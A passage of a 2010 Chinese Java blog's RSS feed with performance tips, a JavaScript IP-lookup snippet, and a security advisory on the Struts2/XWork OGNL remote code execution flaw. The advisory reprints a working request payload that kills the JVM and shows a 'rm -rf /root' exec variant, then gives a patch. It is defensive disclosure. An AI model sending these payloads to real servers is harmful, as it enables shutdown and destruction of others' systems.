context String 当使用相对路径访问外部context资源时，context指定了这个资源的名字&nbsp;&nbsp;&nbsp; <br />
var String 标识这个URL标量。&nbsp;&nbsp;&nbsp; <br />
Scope String 变量作用范围。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>SQL相关的标签&nbsp;&nbsp;</strong></span>&nbsp; <br />
1．&lt;sql:setDataSource&gt;&nbsp;&nbsp;&nbsp; <br />
2．&lt;sql:query&gt;&nbsp;&nbsp;&nbsp; <br />
3．&lt;sql:update&gt;&nbsp;&nbsp;&nbsp; <br />
4．&lt;transaction&gt;&nbsp;&nbsp;&nbsp; <br />
5．&lt;param&gt; </p>
<img src ="http://www.blogjava.net/ywj-316/aggbug/338668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-11-22 10:41 <a href="http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>开发高并发web应用的注意事项</title><link>http://www.blogjava.net/ywj-316/archive/2010/08/09/328323.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 09 Aug 2010 09:16:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/08/09/328323.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/328323.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/08/09/328323.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/328323.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/328323.html</trackback:ping><description><![CDATA[&nbsp;
<p>1 <span style="font-family: 宋体">对</span>Collection<span style="font-family: 宋体">、</span>Map<span style="font-family: 宋体">接口的类对象初始化时要先分配合理的空间大小，同时还要按照自已的实际需求选择合适的对象。</span></p>
<p><span style="font-family: 宋体">例如：声明</span>Vector vect<span style="font-family: 宋体">＝</span>new Vector()<span style="font-family: 宋体">时，系统调用：</span></p>
<p>public Vector() {</p>
<p>// <span style="font-family: 宋体">缺省构造函数</span></p>
<p>this(10);</p>
<p>// <span style="font-family: 宋体">容量是</span></p>
<p>10;}<span style="font-family: 宋体">　</span></p>
<p><span style="font-family: 宋体">缺省分配</span>10<span style="font-family: 宋体">个对象大小容量。<br />
<br />
</span></p>
<p>2 <span style="font-family: 宋体">优化循环体</span></p>
<p><span style="font-family: 宋体">循环是比较重复运行的地方，如果循环次数很大，循环体内不好的代码对效率的影响就会被放大而变的突出。<br />
<br />
</span></p>
<p>3 <span style="font-family: 宋体">少用</span>new<span style="font-family: 宋体">初始化一个实例</span></p>
<p><span style="font-family: 宋体">尽量少用</span>new<span style="font-family: 宋体">来初始化一个类的实例，当一个对象是用</span>new<span style="font-family: 宋体">进行初始化时，其构造函数链的所有构造函数都被调用到，所以</span>new<span style="font-family: 宋体">操作符是很消耗系统资源的，</span>new<span style="font-family: 宋体">一个对象耗时往往是局部变量赋值耗时的上千倍。同时，当生成对象后，系统还要花时间进行垃圾回收和处理。当</span>new<span style="font-family: 宋体">创建对象不可避免时，注意避免多次的使用</span>new<span style="font-family: 宋体">初始化一个对象。尽量在使用时再创建该对象，另外，应该尽量重复使用一个对象，而不是声明新的同类对象。一个重用对象的方法是改变对象的值，如可以通过</span>setValue<span style="font-family: 宋体">之类的方法改变对象的变量达到重用的目的。<br />
</span></p>
<p><br />
4 <span style="font-family: 宋体">选择合适的方法调用：</span></p>
<p><span style="font-family: 宋体">在</span>Java<span style="font-family: 宋体">中，一切都是对象，如果有方法（</span>Method<span style="font-family: 宋体">）调用，处理器先要检查该方法是属于哪个对象，该对象是否有效，对象属于什么类型，然后选择合适的方法并调用。可以减少方法的调用，不影响可读性等情况下，可以把几个小的方法合成一个大的方法。另外，在方法前加上</span>final<span style="font-family: 宋体">，</span>private<span style="font-family: 宋体">关键字有利于编译器的优化。</span></p>
<p><br />
5<span style="font-family: 宋体">异常处理技巧</span></p>
<p><span style="font-family: 宋体">异常是</span>Java<span style="font-family: 宋体">的一种错误处理机制，对程序来说是非常有用的，但是异常对性能不利。抛出异常首先要创建一个新的对象，并进行相关的处理，造成系统的开销，所以异常应该用在错误处理的情况，不应该用来控制程序流程，流程尽量用</span>while<span style="font-family: 宋体">，</span>if<span style="font-family: 宋体">等处理。在不是很影响代码健壮性的前提下，可以把几个</span>try/catch<span style="font-family: 宋体">块合成一个。</span><br />
<br />
</p>
<p>6 <span style="font-family: 宋体">尽量使用局部变量</span></p>
<p><span style="font-family: 宋体">尽量使用局部变量，调用方法时传递的参数以及在调用中创建的临时变量都保存在栈（</span>Stack<span style="font-family: 宋体">）</span> <span style="font-family: 宋体">中，速度较快。其他变量，如静态变量、实例变量等，都在堆（</span>Heap<span style="font-family: 宋体">）中创建，速度较慢。</span><span style="font-family: 宋体">　　</span></p>
<p><br />
7<span style="font-family: 宋体">同步处理技巧</span></p>
<p><span style="font-family: 宋体">同步主要出现在多线程的情况，为多线程同时运行时提供对象数据安全的机制，多线程是比较复杂话题，应用多线程也是为了获得性能的提升，应该尽可能减少同步。</span></p>
<p><span style="font-family: 宋体">另外，如果需要同步的地方，可以减少同步的代码段，如只同步某个方法或函数，而不是整个代码。</span><br />
<br />
</p>
<p>8 <span style="font-family: 宋体">尽可能的使用</span>Java<span style="font-family: 宋体">自身提供的</span>API</p>
<p>Java<span style="font-family: 宋体">的</span>API<span style="font-family: 宋体">一般都做了性能的考虑，如果完成相同的功能，优先使用</span>API<span style="font-family: 宋体">而不是自己写的代码，如数组复制。</span></p>
<p><br />
9 <span style="font-family: 宋体">尽量减少</span>I/O<span style="font-family: 宋体">操作</span></p>
<p><span style="font-family: 宋体">输入</span>/<span style="font-family: 宋体">输出（</span>I/O<span style="font-family: 宋体">）包括很多方面，我们知道，进行</span>I/O<span style="font-family: 宋体">操作是很消耗系统资源的。程序中应该尽量少用</span>I/O<span style="font-family: 宋体">操作。使用时可以注意：</span> . <span style="font-family: 宋体">合理控制输出函数</span>System.out.println()<span style="font-family: 宋体">对于大多时候是有用的，特别是系统调试的时候，但也会产生大量的信息出现在控制台和日志上，同时输出时，有序列化和同步的过程，造成了开销。</span></p>
<p><span style="font-family: 宋体">特别是在发行版中，要合理的控制输出，可以在项目开发时，设计好一个</span>Debug<span style="font-family: 宋体">的工具类，在该类中可以实现输出开关，输出的级别，根据不同的情况进行不同的输出的控制。</span><br />
<br />
</p>
<p>10 <span style="font-family: 宋体">尽量使用缓存</span></p>
<p><span style="font-family: 宋体">读写内存要比读写硬盘上的文件要快很多，应尽可能使用缓冲，以便直接从内存中读取数据。尽可能使用带有</span>Buffer<span style="font-family: 宋体">的类代替没有</span>Buffer<span style="font-family: 宋体">的类，如可以用</span>BufferedReader <span style="font-family: 宋体">代替</span>Reader<span style="font-family: 宋体">，用</span>BufferedWriter<span style="font-family: 宋体">代替</span>Writer<span style="font-family: 宋体">来进行处理</span>I/O<span style="font-family: 宋体">操作。</span></p>
<p><span style="font-family: 宋体">同样可以用</span>BufferedInputStream<span style="font-family: 宋体">代替</span>InputStream<span style="font-family: 宋体">都可以获得性能的提高</span></p>
<p><br />
11 <span style="font-family: 宋体">尽量不使用同步：</span></p>
<p>Servlet<span style="font-family: 宋体">是多线程的，以处理不同的请求，基于前面同步的分析，如果有太多的同步就失去了多线程的优势了。</span></p>
<p><br />
12 <span style="font-family: 宋体">不用保存太多的信息在</span>HttpSession<span style="font-family: 宋体">中</span></p>
<p><span style="font-family: 宋体">很多时候，存储一些对象在</span>HttpSession<span style="font-family: 宋体">中是有必要的，可以加快系统的开发，如网上商店系统会把购物车信息保存在该用户的</span>Session<span style="font-family: 宋体">中，但当存储大量的信息或是大的对象在会话中时，是有害的，特别是当系统中用户的访问量很大，对内存的需求就会很高。具体开发时，在这两者之间应作好权衡。</span><br />
<br />
</p>
<p>13<span style="font-family: 宋体">清除</span>SESSION<span style="font-family: 宋体">：</span></p>
<p><span style="font-family: 宋体">通常情况，当达到设定的超时时间时，同时有些</span>Session<span style="font-family: 宋体">没有了活动，服务器会释放这些没有活动的</span>Session<span style="font-family: 宋体">，</span>.. <span style="font-family: 宋体">不过这种情况下，特别是多用户并访时，系统内存要维护多个的无效</span>Session<span style="font-family: 宋体">。当用户退出时，应该手动释放，回收资源，实现如下：</span>..<br />
HttpSession theSession = request.getSession();<br />
// <span style="font-family: 宋体">获取当前</span>Session<br />
if(theSession != null){<br />
<span style="font-family: 宋体">　</span>theSession.invalidate(); // <span style="font-family: 宋体">使该</span>Session<span style="font-family: 宋体">失效</span><br />
}</p>
<p><br />
14 <span style="font-family: 宋体">缓存</span>Home<span style="font-family: 宋体">接口</span></p>
<p>EJB<span style="font-family: 宋体">库使用</span>Enterprise Bean <span style="font-family: 宋体">的客户端通过它的</span>Home<span style="font-family: 宋体">接口创建它的实例。客户端能通过</span>JNDI<span style="font-family: 宋体">访问它。服务器通过</span>Lookup<span style="font-family: 宋体">方法来获取。</span><br />
JNDI<span style="font-family: 宋体">是个远程对象，通过</span>RMI<span style="font-family: 宋体">方式调用，对它的访问往往是比较费时的。所以，在设计时可以设计一个类专门用来缓存</span>Home<span style="font-family: 宋体">接口，在系统初始化时就获得需要的</span>Home<span style="font-family: 宋体">接口并缓存，以后的引用只要引用缓存即可。</span><br />
<br />
</p>
<p>15 <span style="font-family: 宋体">使用快速度的</span>Jdbc<span style="font-family: 宋体">驱动</span></p>
<p>JDBC API<span style="font-family: 宋体">包括两种实现接口形式，一种是纯</span>Java<span style="font-family: 宋体">实现的驱动，一种利用</span>ODBC<span style="font-family: 宋体">驱动和数据库客户端实现，具体有四种驱动模式：</span></p>
<p><span style="font-family: 宋体">第一类：</span>JDBC-ODBC<span style="font-family: 宋体">桥，再加上</span>ODBC<span style="font-family: 宋体">驱动程序。</span><br />
JDBC<span style="font-family: 宋体">驱动程序是</span>JDBC-ODBC<span style="font-family: 宋体">桥再加上一个</span>ODBC<span style="font-family: 宋体">驱动程序。建议第一类驱动程序只用于原型开发，而不要用于正式的运行环境。桥接驱动程序由</span>Sun<span style="font-family: 宋体">提供，它的目标是支持传统的数据库系统。</span>Sun<span style="font-family: 宋体">为该软件提供关键问题的补丁，但不为该软件的最终用户提供支持。一般地，桥接驱动程序用于已经在</span>ODBC<span style="font-family: 宋体">技术上投资的情形，例如已经投资了</span>Windows<span style="font-family: 宋体">应用服务器。</span><br />
<span style="font-family: 宋体">尽管</span>Sun<span style="font-family: 宋体">提供了</span>JDBC-ODBC<span style="font-family: 宋体">桥接驱动程序，但由于</span>ODBC<span style="font-family: 宋体">会在客户端装载二进制代码和数据库客户端代码，这种技术不适用于高事务性的环境。另外，第一类</span>JDBC<span style="font-family: 宋体">驱动程序不支持完整的</span>Java<span style="font-family: 宋体">命令集，而是局限于</span>ODBC<span style="font-family: 宋体">驱动程序的功能，这种驱动方式也叫胖客户，主要用于低并发请求，大数据量传输的应用。</span></p>
<p><span style="font-family: 宋体">第二类：本机</span>API<span style="font-family: 宋体">，部分是</span>Java<span style="font-family: 宋体">的驱动程序。</span><br />
JDBC<span style="font-family: 宋体">驱动程序是本机</span>API<span style="font-family: 宋体">的部分</span>Java<span style="font-family: 宋体">代码的驱动程序，用于把</span>JDBC<span style="font-family: 宋体">调用转换成主流数据库</span>API<span style="font-family: 宋体">的本机调用。这类驱动程序也存在与第一类驱动程序一样的性能问题，即客户端载入二进制代码的问题，而且它们被绑定了特定的平台。</span><br />
<span style="font-family: 宋体">第二类驱动程序要求编写面向特定平台的代码，主流的数据库厂商，例如</span>Oracle<span style="font-family: 宋体">和</span>IBM<span style="font-family: 宋体">，都为它们的企业数据库平台提供了第二类驱动程序，使用这些驱动程序的开发者必须及时跟进不同数据库厂商针对不同操作系统发行的各个驱动程序版本。</span><br />
<span style="font-family: 宋体">另外，由于第二类驱动程序没有使用纯</span>Java<span style="font-family: 宋体">的</span>API<span style="font-family: 宋体">，把</span>Java<span style="font-family: 宋体">应用连接到数据源时，往往必须执行一些额外的配置工作。很多时候，第二类驱动程序不能在体系结构上与大型主机的数据源兼容；即使做到了兼容，效果也是比较差。</span></p>
<p><span style="font-family: 宋体">第三类：面向数据库中间件的纯</span>Java<span style="font-family: 宋体">驱动程序。</span><br />
JDBC<span style="font-family: 宋体">驱动程序是面向数据库中间件的纯</span>Java<span style="font-family: 宋体">驱动程序，</span>JDBC<span style="font-family: 宋体">调用被转换成一种中间件厂商的协议，中间件再把这些调用转换到数据库</span>API<span style="font-family: 宋体">。第三类</span>JDBC<span style="font-family: 宋体">驱动程序的优点是它以服务器为基础，也就是不再需要客户端的本机代码，这使第三类驱动程序要比第一、二两类快。另外，开发者还可以利用单一的驱动程序连接到多种数据库。</span></p>
<p><span style="font-family: 宋体">第四类：直接面向数据库的纯</span>Java<span style="font-family: 宋体">驱动程序。</span> <br />
JDBC<span style="font-family: 宋体">驱动程序是直接面向数据库的纯</span>Java<span style="font-family: 宋体">驱动程序，即所谓的&#8220;瘦&#8221;（</span>thin<span style="font-family: 宋体">）驱动程序，它把</span>JDBC<span style="font-family: 宋体">调用转换成某种直接可被</span>DBMS<span style="font-family: 宋体">使用的网络协议，这样，客户机和应用服务器可以直接调用</span>DBMS<span style="font-family: 宋体">服务器。对于第四类驱动程序，不同</span>DBMS<span style="font-family: 宋体">的驱动程序不同。因此，在一个异构计算环境中，驱动程序的数量可能会比较多。但是，由于第四类驱动程序具有较高的性能，能够直接访问</span>DBMS<span style="font-family: 宋体">，所以这一问题就不那么突出了，</span> <span style="font-family: 宋体">这种驱动方式，主要用于高并发，低数据量请求的应用中。</span><br />
<br />
</p>
<p>16 <span style="font-family: 宋体">使用</span>Jdbc<span style="font-family: 宋体">链接池</span></p>
<p><span style="font-family: 宋体">为了提高访问数据库的性能，我们还可以使用</span>JDBC 2.0<span style="font-family: 宋体">的一些规范和特性，</span>JDBC<span style="font-family: 宋体">是占用资源的，在使用数据库连接时可以使用连接池</span>Connection Pooling<span style="font-family: 宋体">，避免频繁打开、关闭</span>Connection<span style="font-family: 宋体">。而我们知道，获取</span>Connection<span style="font-family: 宋体">是比较消耗系统资源的。</span><br />
Connection<span style="font-family: 宋体">缓冲池：当一个应用程序关闭一个数据库连接时，这个连接并不真正释放而是被循环利用，建立连接是消耗较大的操作，循环利用连接可以显著的提高性能，因为可以减少新连接的建立。</span></p>
<p><span style="font-family: 宋体">一个通过</span>DataSource<span style="font-family: 宋体">获取缓冲池获得连接，并连接到一个</span>CustomerDB<span style="font-family: 宋体">数据源的代码演示如下：</span><br />
Context ctx = new InitialContext();<br />
DataSource dataSource = (DataSource) ctx.lookup("jdbc/CustomerDB");<br />
Connection conn = dataSource.getConnection("password","username");</p>
<p><br />
17 <span style="font-family: 宋体">缓存</span>DataSorce</p>
<p><span style="font-family: 宋体">一个</span>DataSource<span style="font-family: 宋体">对象代表一个实际的数据源。这个数据源可以是从关系数据库到表格形式的文件，完全依赖于它是怎样实现的，一个数据源对象注册到</span>JNDI<span style="font-family: 宋体">名字服务后，应用程序就可以从</span>JNDI<span style="font-family: 宋体">服务器上取得该对象，并使用之和数据源建立连接。</span><br />
<span style="font-family: 宋体">　　通过上面的例子，我们知道</span>DataSource<span style="font-family: 宋体">是从连接池获得连接的一种方式，通过</span>JNDI<span style="font-family: 宋体">方式获得，是占用资源的。</span><br />
<span style="font-family: 宋体">　　为了避免再次的</span>JNDI<span style="font-family: 宋体">调用，可以系统中缓存要使用的</span>DataSource<span style="font-family: 宋体">。</span></p>
<p><br />
18 <span style="font-family: 宋体">即时关闭使用过的资源</span></p>
<p><span style="font-family: 宋体">互联网应用系统一般是并发的系统，在每次申请和使用完资源后，应该释放供别人使用，使用完成后应该保证彻底的释放。</span></p>
<p><br />
19 <span style="font-family: 宋体">架构选型</span></p>
<p>CoreMediaCMS<span style="font-family: 宋体">将整个应用分成四成架构，每一层都可以独立于其他层而正常运行，每一层都可以分布式布署，极大的提高了应用系统的稳定性、可扩展性、支持高并发的要求，每一次之前通过中间件</span>Corba<span style="font-family: 宋体">进行稳定的传输数据。</span></p>
<p><br />
20 <span style="font-family: 宋体">开发框架的选型</span></p>
<p><span style="font-family: 宋体">充分利用开源框架，可以大大提高开发效率。很多初级开发者，都采用</span>DB+JavaBean+JSP<span style="font-family: 宋体">这种初级的开发模式，而现在主要使用</span>Struts<span style="font-family: 宋体">、</span>Spring<span style="font-family: 宋体">等</span>MVC<span style="font-family: 宋体">开发框架。</span></p>
<p><span style="font-family: 宋体">常用开发框架构选型有：</span></p>
<p>Struts<span style="font-family: 宋体">、</span>Spring<span style="font-family: 宋体">、</span>Webwork<span style="font-family: 宋体">等。</span></p>
<p><span style="font-family: 宋体">天极传媒选择的开发框架是：</span>Struts+Spring+iBatis<span style="font-family: 宋体">，在这个开发框架里，充分利用了</span>Struts<span style="font-family: 宋体">、</span>Spring<span style="font-family: 宋体">各自己的优点，可以选择</span>Stuts<span style="font-family: 宋体">　</span>MVC<span style="font-family: 宋体">，也可以选择</span>Spring MVC<span style="font-family: 宋体">。</span></p>
<p><br />
21 <span style="font-family: 宋体">分级存储</span></p>
<p><span style="font-family: 宋体">１）数据库数据分级存储：</span></p>
<p><span style="font-family: 宋体">将经常访问的数据和访问频度低的数据，分别存放到不同的分区，甚至存放到不同的数据库服务器，以便合进分配硬盘</span>I/O<span style="font-family: 宋体">及系统</span>I/O<span style="font-family: 宋体">。</span></p>
<p><span style="font-family: 宋体">２）网站内容发布之后，分级存储：</span></p>
<p><span style="font-family: 宋体">任何一个大型的网站，一般都有海量的内容，为了提高访问效率，应搭建分级存储体系，根据应用的重要性和访问并发要求，将这些内容分级存储，同时将静态内容中的静态页面文件、图片文件、下载文件分不同的</span>Web<span style="font-family: 宋体">服务器访问，降低</span>I/O<span style="font-family: 宋体">争用，提高访问效率，同时让数据存储、管理、备份更加清晰。</span></p>
<p><br />
22 <span style="font-family: 宋体">页面静态化</span></p>
<p><span style="font-family: 宋体">一个大型网站，既有静态内容，也有动态内容。静态内容，直接通过</span>Apache<span style="font-family: 宋体">或者</span>Squid<span style="font-family: 宋体">访问，效率高，稳定可靠，更多的是受服务器等硬件设备的</span>I/O<span style="font-family: 宋体">吞吐量、网络环境及页面代码本身质量限制，不受应用系统及数据库性能限制，这些内容往往访问速度和效率不会有较大的问题。</span></p>
<p><span style="font-family: 宋体">而动态内容，除了受硬件设备</span>I/O<span style="font-family: 宋体">、操作系统</span>I/O<span style="font-family: 宋体">及内容、网络环境及页面代码的影响，还要受应用服务器和数据库性能影响，因此，这部份内容，要尽可能作静态化或者伪静态，并采用缓存技术，将其缓存，以减少对应用服务器和数据库服务器的操作次数，提高用户访问效率和稳定性。</span></p>
<p><br />
23 <span style="font-family: 宋体">缓存策略</span></p>
<p><span style="font-family: 宋体">对于构建的业务系统，如果有些数据要经常要从数据库中读取，同时，这些数据又不经常变化，这些数据就可以在系统中缓存起来，使用时直接读取缓存，而不用频繁的访问数据库读取数据。</span><br />
<span style="font-family: 宋体">缓存工作可以在系统初始化时一次性读取数据，特别是一些只读的数据，当数据更新时更新数据库内容，同时更新缓存的数据值。</span></p>
<p><span style="font-family: 宋体">例如：在</span>CMS2005<span style="font-family: 宋体">系统中，我们将很少发生变化的网站节点树数据，缓存在客户端，当用户登录时，一次性读入到客户端缓存起来，以后编辑在使用时，不用再从数据库中读取，大大提高了应用系统的访问速度。</span></p>
<p><span style="font-family: 宋体">当然，也可以将数据库中重复访问的数据缓存在应用服务器内存中，减少对数据库的访问次数，</span>Java<span style="font-family: 宋体">常用的缓存技术产品有：</span>MemoryCache<span style="font-family: 宋体">、</span>OSCache<span style="font-family: 宋体">等。</span></p>
<img src ="http://www.blogjava.net/ywj-316/aggbug/328323.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-08-09 17:16 <a href="http://www.blogjava.net/ywj-316/archive/2010/08/09/328323.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>js巧用qq接口得到当前IP</title><link>http://www.blogjava.net/ywj-316/archive/2010/08/02/327764.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 02 Aug 2010 09:04:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/08/02/327764.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/327764.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/08/02/327764.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/327764.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/327764.html</trackback:ping><description><![CDATA[<font face="Times New Roman" size="3">&lt;html&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &lt;head&gt;<br />
&nbsp;&nbsp; &lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;script type=text/javascript src=http://fw.qq.com/ipaddress&gt;&lt;/script&gt; <br />
&nbsp;&nbsp; &lt;script type=text/javascript&gt; <br />
&nbsp;&nbsp;&nbsp; document.write("当前ip:"+IPData[0]+",省份："+IPData[2]+",城市:"+IPData[3]); <br />
&nbsp;&nbsp; &lt;/script&gt; <br />
&nbsp;&nbsp;&nbsp; &lt;/head&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &lt;body&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/body&gt;<br />
&lt;/html&gt;</font>
<img src ="http://www.blogjava.net/ywj-316/aggbug/327764.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-08-02 17:04 <a href="http://www.blogjava.net/ywj-316/archive/2010/08/02/327764.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>米struts2的用户请注意这个超级安全漏洞</title><link>http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Fri, 30 Jul 2010 10:15:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/327596.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/327596.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/327596.html</trackback:ping><description><![CDATA[最近发现　struts 2的这个严重安全漏洞，在http://www.javaeye.com/topic/720209中已经有所表述，主要是ＯＧＮＬ的问题，摘录如下： <br />
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。 <br />
漏洞名称：Struts2/XWork &lt; 2.2.0 Remote Command Execution Vulnerability <br />
相关介绍： <br />
http://www.exploit-db.com/exploits/14360/ <br />
http://sebug.net/exploit/19954/ <br />
<br />
Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数： <br />
Java代码 <br />
?user.address.city=Bishkek&amp;user['favoriteDrink']=kumys&nbsp; <br />
<br />
?user.address.city=Bishkek&amp;user['favoriteDrink']=kumys <br />
ONGL将它转换为： <br />
Java代码 <br />
action.getUser().getAddress().setCity("Bishkek")&nbsp;&nbsp; <br />
action.getUser().setFavoriteDrink("kumys")&nbsp; <br />
<br />
action.getUser().getAddress().setCity("Bishkek") <br />
action.getUser().setFavoriteDrink("kumys") <br />
这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。 <br />
为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现&#8220;#&#8221;字符，但如果使用了Java的 unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值： <br />
此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击 <br />
Java代码 <br />
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1&nbsp; <br />
<br />
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 <br />
转义后是这样： <br />
Java代码 <br />
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&amp;(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&amp;(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1&nbsp; <br />
<br />
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&amp;(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&amp;(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 <br />
OGNL处理时最终的结果就是Java代码 <br />
java.lang.Runtime.getRuntime().exit(1);&nbsp; <br />
<br />
java.lang.Runtime.getRuntime().exit(1); <br />
类似的可以执行Java代码 <br />
java.lang.Runtime.getRuntime().exec("rm &#8211;rf /root")&nbsp; <br />
<br />
java.lang.Runtime.getRuntime().exec("rm &#8211;rf /root")，只要有权限就可以删除任何一个目录。 <br />
<br />
<br />
目前的解决方法如下，官方的出了补丁的，可以在 <br />
http://svn.apache.org/viewvc?view=revision&amp;revision=956389 <br />
目前２．１．８的最新版本的，可以下载其中这个补丁修补， <br />
而如果你的版本是低于２．１．８的，可以去下载xwork-2.XX.JAR对应的源代码（本来想反编译ＪＡＲ的，发现还是找源代码好）， <br />
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java <br />
在其中的acceptableName方法中调整如下： <br />
protected boolean acceptableName(String name) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; boolean foundMatch=false;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foundMatch = name.contains("\\u0023");&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(foundMatch){&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || name.indexOf(':') != -1 || isExcluded(name)) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; } 
 <img src ="http://www.blogjava.net/ywj-316/aggbug/327596.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2010-07-30 18:15 <a href="http://www.blogjava.net/ywj-316/archive/2010/07/30/327596.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>oracle游标</title><link>http://www.blogjava.net/ywj-316/archive/2010/07/29/327488.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Thu, 29 Jul 2010 09:13:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/07/29/327488.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/327488.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/07/29/327488.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/327488.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/327488.html</trackback:ping><description><![CDATA[<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #008080">--</span><span style="color: 